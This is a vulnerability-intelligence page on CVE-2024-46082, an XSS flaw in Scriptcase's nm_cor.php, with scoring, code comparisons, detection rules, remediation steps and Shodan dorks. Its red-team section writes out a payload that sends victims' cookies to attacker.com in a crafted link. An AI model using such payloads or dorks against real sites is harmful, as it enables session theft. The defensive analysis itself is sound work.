☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-46082

CVE-2024-46082 Cross-Site Scripting in Scriptcase
📅 PUBLISHED: 2024-10-01 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 9.10.023
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46082 identifies a stored Cross-Site Scripting (XSS) vulnerability in Scriptcase version 9.10.023 and earlier. The flaw resides in the nm_cor.php file, where the form and field parameters are not properly sanitized before being rendered in the browser. An attacker can inject arbitrary JavaScript code, which will execute in the context of the victim's session when they view the affected page. This can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor at the time of this analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed to trigger the injection.
  • User Interaction (UI): Required (R) – The victim must click a link or visit a crafted page.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.1 (Medium)
Threat Level: Medium – Exploitation is straightforward but requires user interaction.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the nm_cor.php script. The form and field parameters are used to dynamically generate color picker or form field elements. The application fails to encode or sanitize these inputs before embedding them into the HTML response. An attacker can craft a URL like:

http://target/scriptcase/nm_cor.php?form=<script>alert('XSS')</script>&field=test

When a user visits this URL, the injected script executes in their browser. Because the input is stored (e.g., in a session or database), the XSS can persist across requests, affecting other users who view the same page.

The root cause is the lack of output encoding. The nm_cor.php script likely uses echo or print to output the parameter values directly into the HTML without using htmlspecialchars() or equivalent escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (Scriptcase <= 9.10.023):

// nm_cor.php (simplified)
$form = $_GET['form'];
$field = $_GET['field'];
echo "<div id='colorpicker' data-form='$form' data-field='$field'></div>";

Patched Code (Hypothetical):

// nm_cor.php (patched)
$form = htmlspecialchars($_GET['form'], ENT_QUOTES, 'UTF-8');
$field = htmlspecialchars($_GET['field'], ENT_QUOTES, 'UTF-8');
echo "<div id='colorpicker' data-form='$form' data-field='$field'></div>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Setup: Deploy a local instance of Scriptcase 9.10.023 (e.g., using Docker or a LAMP stack).
  2. Craft Payload: Use a simple JavaScript payload to steal cookies:
    <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
    
  3. Inject: Send the victim a link:
    http://target/scriptcase/nm_cor.php?form=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>&field=test
    
  4. Capture: Set up a listener on attacker.com to receive the stolen cookies.

Blue Team (Detection & Hardening)

  1. Monitor Logs: Look for requests to nm_cor.php containing <script> or onerror= patterns.
  2. WAF Rules: Block requests with suspicious characters in form or field parameters.
  3. Input Validation: Implement server-side validation to reject non-alphanumeric input.
  4. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to nm_cor.php with form or field parameters containing <script>, onerror, onload, or javascript:.
  • File: Modified nm_cor.php file (if attacker gains write access).
  • Log: Web server logs showing unusual GET requests to /scriptcase/nm_cor.php with encoded JavaScript.
  • Cookie: Unexpected document.cookie modifications or exfiltration attempts.

Detection Engineering

YARA Rule

rule CVE_2024_46082_XSS_Scriptcase {
    meta:
        description = "Detects XSS attempts against Scriptcase nm_cor.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46082"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $param1 = "nm_cor.php" nocase
    condition:
        $param1 and any of ($xss*)
}

Sigma Rule

title: CVE-2024-46082 XSS Attempt on Scriptcase nm_cor.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts targeting Scriptcase nm_cor.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'nm_cor.php'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46082 XSS Attempt on Scriptcase nm_cor.php"; flow:to_server,established; content:"nm_cor.php"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable or restrict access to nm_cor.php via .htaccess or firewall rules.
  2. Short-term: Apply input validation and output encoding to the form and field parameters.
  3. Long-term: Upgrade to a patched version of Scriptcase when available. If no patch is released, consider migrating to an alternative solution.
  4. Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Scriptcase"
http.html:"scriptcase"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-46082/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.